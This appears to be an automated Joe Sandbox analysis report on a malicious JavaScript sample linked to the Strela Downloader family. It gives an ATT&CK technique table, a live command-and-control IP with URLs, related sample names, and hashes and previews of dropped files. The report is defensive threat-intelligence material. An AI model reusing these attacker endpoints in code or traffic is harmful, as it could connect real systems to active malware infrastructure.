Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
13924233483066821789.js	5%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.23	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3332010439.000001F50FE00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2097926189.000001F50FCA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2100658403.000001A7E91C8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2097735500.000001A7E91FC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2100658403.000001A7E91C8000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587867
Start date and time:	2025-01-10 18:45:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	13924233483066821789.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 52.6.155.20, 52.22.41.97, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 84.201.210.23, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.175.87.197, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:46:34	API Interceptor	23x Sleep call for process: powershell.exe modified
12:46:38	API Interceptor	1x Sleep call for process: net.exe modified
12:46:38	API Interceptor	2x Sleep call for process: svchost.exe modified
12:46:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Ej86aa7Ki7.exe	Get hash	malicious	Unknown	Browse	84.201.210.38
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	hy09j7Q8kJ.exe	Get hash	malicious	FormBook	Browse	217.20.57.35
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307263625434744
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug/:gJjJGtpTq2yv1AuNZRY3diu8iBVqFF
MD5:	51D3DE79D11E3CCC9FD22DB2522DE6B3
SHA1:	E47FF050BDE31BAB32E348B551353808DE8DE763
SHA-256:	0A3F27AEC5021889AAEC5E1665458AF3A00C9CB6A6A4FF3BF45D6E858FCEBD19
SHA-512:	95894D18D32AC65D19760677C82EFE9A804A415414703645B08A5E7DED3B7879916652EE758DFF48EC0F61314C32723C1221D50B908D552DEE7C9B5AC946FC05
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd1133f51, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585625057207833
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	A05B9B990C7F5890A8DE61BC6CAF38B4
SHA1:	9B49FC032AE8144745D0F5763EB8FE59BC746D0A
SHA-256:	FF09DDFA35B274A61EB06FF62CEAF6DA22C3800A54AE0486BE687270B9A06C50
SHA-512:	21B1D9FCA13B2387FF09F24BA9E19FC7B812DAF27ECB41DE091DA4FFFE39A2531FED962D9184B7D39271E38A528026A232EF00F24E3030DF4B9352DC1C5C56E9
Malicious:	false
Preview:	..?Q... ...............X\...;...{......................0.z..........{..&....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................&....}{..................6hR&....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0816030718534336
Encrypted:	false
SSDEEP:	3:D/EYe0Khu1VGuAJkhvekl10lX0MltlollrekGltll/SPj:D8zQrxlilX0MeJe3l
MD5:	C2C0E92258350C42430CB02FCB5A9ED3
SHA1:	BFA6CC4D4937D754612F2D9EEB38099F2A2FBCF2
SHA-256:	78A6177687D067E36D31A3BE3BF110FAB80E85FB195CE2060527D79B7272E27C
SHA-512:	6C5C1C1D76E7F6EA6BFA003B934E205E7C379625D7EE99CD988C7ECCBF4BF27F24DC062B07002D3E021A953A89792086F45967D3A9B9E6E37D6BB1A5EE2D8D58
Malicious:	false
Preview:	P.B......................................;...{..&....}.......{...............{.......{...XL......{...................6hR&....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.21679900008706
Encrypted:	false
SSDEEP:	6:iO4T+bVfq2P92nKuAl9OmbnIFUtST+bTWVNJZmwsT+bTWVNDkwO92nKuAl9Ombjd:7QIFv4HAahFUtWITWh/sITW75LHAaSJ
MD5:	B7A64AC09AED8D3314E5F7C208D1EE25
SHA1:	A89A13B59CF553B78A25E6BA905A1D0408486985
SHA-256:	F38868F5897B8537F073AD13AD6E83A7712CE9BC9AA2A34D427125F04E26F850
SHA-512:	A08AC85DF5859D578F570C53C8E63D4C0F2A772F02A422849F0B98425EAD5534AD7FED63A3F87F7F2B0A221849AEE15CE60BA37E7A23DA42C57096D7A40D043F
Malicious:	false
Preview:	2025/01/10-12:46:38.082 d70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:46:38.084 d70 Recovering log #3.2025/01/10-12:46:38.084 d70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.21679900008706
Encrypted:	false
SSDEEP:	6:iO4T+bVfq2P92nKuAl9OmbnIFUtST+bTWVNJZmwsT+bTWVNDkwO92nKuAl9Ombjd:7QIFv4HAahFUtWITWh/sITW75LHAaSJ
MD5:	B7A64AC09AED8D3314E5F7C208D1EE25
SHA1:	A89A13B59CF553B78A25E6BA905A1D0408486985
SHA-256:	F38868F5897B8537F073AD13AD6E83A7712CE9BC9AA2A34D427125F04E26F850
SHA-512:	A08AC85DF5859D578F570C53C8E63D4C0F2A772F02A422849F0B98425EAD5534AD7FED63A3F87F7F2B0A221849AEE15CE60BA37E7A23DA42C57096D7A40D043F
Malicious:	false
Preview:	2025/01/10-12:46:38.082 d70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:46:38.084 d70 Recovering log #3.2025/01/10-12:46:38.084 d70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.181748069155516
Encrypted:	false
SSDEEP:	6:iO4T++nOq2P92nKuAl9Ombzo2jMGIFUtST+7WZmwsT+7qkwO92nKuAl9Ombzo2jz:7QxOv4HAa8uFUtW7/sR5LHAa8RJ
MD5:	18F30AADD48491B5F66E2799E7D7077E
SHA1:	8D66EB53079573523C825FE2BF015D1D7AF1ABCC
SHA-256:	85AB525DC51DCF55CCA6F0872B7303D7F8F0049E414BCF8DA0507618AAA68511
SHA-512:	EBEF3B7038C6783B3E87EA4D28CA3FAB269653749A9F0BF523A2A76D4CE1F855B10416597C7A6495F557151286563A42DB0AAA9BB91BA3016B70422AAE1BE36E
Malicious:	false
Preview:	2025/01/10-12:46:38.149 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:46:38.150 1c34 Recovering log #3.2025/01/10-12:46:38.150 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.181748069155516
Encrypted:	false
SSDEEP:	6:iO4T++nOq2P92nKuAl9Ombzo2jMGIFUtST+7WZmwsT+7qkwO92nKuAl9Ombzo2jz:7QxOv4HAa8uFUtW7/sR5LHAa8RJ
MD5:	18F30AADD48491B5F66E2799E7D7077E
SHA1:	8D66EB53079573523C825FE2BF015D1D7AF1ABCC
SHA-256:	85AB525DC51DCF55CCA6F0872B7303D7F8F0049E414BCF8DA0507618AAA68511
SHA-512:	EBEF3B7038C6783B3E87EA4D28CA3FAB269653749A9F0BF523A2A76D4CE1F855B10416597C7A6495F557151286563A42DB0AAA9BB91BA3016B70422AAE1BE36E
Malicious:	false
Preview:	2025/01/10-12:46:38.149 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:46:38.150 1c34 Recovering log #3.2025/01/10-12:46:38.150 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\20296519-d353-43cd-99bb-fc4ebedf222b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0515707177958245
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTxsBdOg2HEcaq3QYiubxnP7E4T3OF+:Y2sRdsaidMHX3QYhbxP7nbI+
MD5:	CC5C006577DE004858AFA01536B9358C
SHA1:	B5511749EA98774E37986526B1847556F9567E26
SHA-256:	A649BDCBAA14E17BAC870C38A7689E72FFCCCC4075DC75E9B7060CBAA46E63BA
SHA-512:	CD4E59A11B158410495EA9AEECAAE4C102C7E2B9FF790D5EA39ED73F2960111EE43C56C067269F85EEFA09BDF21F891366DF3E7381D36ACF4D978D45375C900F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091210754352","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":155254},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0515707177958245
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqTxsBdOg2HEcaq3QYiubxnP7E4T3OF+:Y2sRdsaidMHX3QYhbxP7nbI+
MD5:	CC5C006577DE004858AFA01536B9358C
SHA1:	B5511749EA98774E37986526B1847556F9567E26
SHA-256:	A649BDCBAA14E17BAC870C38A7689E72FFCCCC4075DC75E9B7060CBAA46E63BA
SHA-512:	CD4E59A11B158410495EA9AEECAAE4C102C7E2B9FF790D5EA39ED73F2960111EE43C56C067269F85EEFA09BDF21F891366DF3E7381D36ACF4D978D45375C900F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091210754352","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":155254},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236718429385486
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU4PA:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLO
MD5:	F75701F8D45F7D726B8829905C368F97
SHA1:	6F8B8F2FE0832148C352233C0C04E1AE1714ABCD
SHA-256:	ADFA8CA16F5B0FD647B8ED9F309A058F2FEED845BF0F3C08EFA144CDA14FA8D5
SHA-512:	6987C25B5CB84E121E6C19A48FD1F6A19D8B4210795CE5FB5B35881F783853DA315AE906EF55A3A384183ABC6A63679C97DCB2FD0053D095C9E0A544575DF2E0
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.203826133527893
Encrypted:	false
SSDEEP:	6:iO4T+suOq2P92nKuAl9OmbzNMxIFUtST+gZmwsT+pqkwO92nKuAl9OmbzNMFLJ:7QrNv4HAa8jFUtWV/sD5LHAa84J
MD5:	BF7BEC7CA594B24773D35EA88AF5E80C
SHA1:	E2180859A5486D7CCCA4A14B9FC67A1CAF9CABBD
SHA-256:	B2344F0B8B6D9F556DE15677F25D8D4114006F38F696576DEDF69AA0A93EA40B
SHA-512:	DC0D810D25C58AB178581C8A0BF50F146A5070409DFB039FB851FA304911DC45A638DAF872D5BE0E4163565C44955E9FF045E5198BB5DEB41446300471FF55BD
Malicious:	false
Preview:	2025/01/10-12:46:38.524 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:46:38.545 1c34 Recovering log #3.2025/01/10-12:46:38.570 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.203826133527893
Encrypted:	false
SSDEEP:	6:iO4T+suOq2P92nKuAl9OmbzNMxIFUtST+gZmwsT+pqkwO92nKuAl9OmbzNMFLJ:7QrNv4HAa8jFUtWV/sD5LHAa84J
MD5:	BF7BEC7CA594B24773D35EA88AF5E80C
SHA1:	E2180859A5486D7CCCA4A14B9FC67A1CAF9CABBD
SHA-256:	B2344F0B8B6D9F556DE15677F25D8D4114006F38F696576DEDF69AA0A93EA40B
SHA-512:	DC0D810D25C58AB178581C8A0BF50F146A5070409DFB039FB851FA304911DC45A638DAF872D5BE0E4163565C44955E9FF045E5198BB5DEB41446300471FF55BD
Malicious:	false
Preview:	2025/01/10-12:46:38.524 1c34 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:46:38.545 1c34 Recovering log #3.2025/01/10-12:46:38.570 1c34 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
